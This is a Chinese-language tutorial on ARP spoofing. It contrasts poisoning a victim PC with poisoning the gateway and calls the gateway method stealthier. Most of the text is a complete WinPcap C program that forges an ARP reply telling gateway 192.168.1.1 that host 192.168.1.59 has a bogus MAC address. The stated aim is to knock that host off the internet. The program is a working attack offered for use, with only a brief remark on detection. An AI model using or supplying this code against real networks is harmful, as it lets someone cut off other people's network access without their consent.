arp欺骗分欺骗他人正使用的pc和欺骗网关两种;前一种很容易很容易被发现,他人机器一查arp缓存就可以发现,或是已经安装防火墙欺骗也不得成功;后一种成功几率较高且较隐蔽,必须网管出马查询网关arp才能发现,前提是网关未采用静态arp;
当然,如果使用抓包工具,那也很容易分析出问题的原因,个人较喜欢wireshark。
假设网管为192.168.1.1,其真实的mac为00-10-e0-e7-cc-f0;我们想让192.168.1.59无法上网;那么可以欺骗59,告诉它一个错误的网关的mac;也可以欺骗网关,告诉它一个错误的59的mac;下面的例子是欺骗网关的例子,欺骗59的类似;
下面程序使用winpcap 4.02、vs2003进行编写,经过测试,winpcap任何资料可以在http://www.winpcap.org/上找到。
// SendPacket.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <stdlib.h>
#include <stdio.h>
#include <pcap.h>
#include "remote-ext.h"
void main(int argc, char **argv)
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[60];
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
pcap_t *adhandle;
/* Retrieve the device list on the local machine */
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
exit(1);
}
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)/n", d->description);
else
printf(" (No description available)/n");
}
if(i==0)
{
printf("/nNo interfaces found! Make sure WinPcap is installed./n");
return;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("/nInterface number out of range./n");
/* Free the device list */
pcap_freealldevs(alldevs);
return;
}
/* Jump to the selected adapter */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* Open the output device */
if ( (fp= pcap_open(d->name, // name of the device
60, // portion of the packet to capture (only the first 100 bytes)
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout
NULL, // authentication on the remote machine
errbuf // error buffer
) ) == NULL)
{
fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n", argv[1]);
return;
}
//00-10-e0-e7-cc-f0
//Supposing to be on ethernet, set mac destination*/
packet[0]=0x00;
packet[1]=0x10;
packet[2]=0xe0;
packet[3]=0xe7;
packet[4]=0xcc;
packet[5]=0xf0;
//set mac source
packet[6]=0x02;
packet[7]=0x02;
packet[8]=0x02;
packet[9]=0x02;
packet[10]=0x02;
packet[11]=0x02;
//frame type
packet[12]=0x08;
packet[13]=0x06;
//hareware type
packet[14]=0x00;
packet[15]=0x01;
//protocal type
packet[16]=0x08;
packet[17]=0x00;
//hareware address length
packet[18]=0x06;
//protocal address length
packet[19]=0x04;
//op
packet[20]=0x00;
packet[21]=0x02;
//source mac
packet[22]=0x02;
packet[23]=0x02;
packet[24]=0x02;
packet[25]=0x02;
packet[26]=0x02;
packet[27]=0x02;
//source ip
packet[28]=0xc0;
packet[29]=0xa8;
packet[30]=0x01;
packet[31]=0x3B;
//destination mac
packet[32]=0x00;
packet[33]=0x10;
packet[34]=0xe0;
packet[35]=0xe7;
packet[36]=0xcc;
packet[37]=0xf0;
//destination ip
packet[38]=0xc0;
packet[39]=0xa8;
packet[40]=0x01;
packet[41]=0x01;
/* Fill the rest of the packet */
for(i=42;i<60;i++)
{
packet[i]=i%256;
}
/* Send down the packet */
if (pcap_sendpacket(fp, packet, 60 /* size */) != 0)
{
fprintf(stderr,"/nError sending the packet: /n", pcap_geterr(fp));
return;
}
return;
}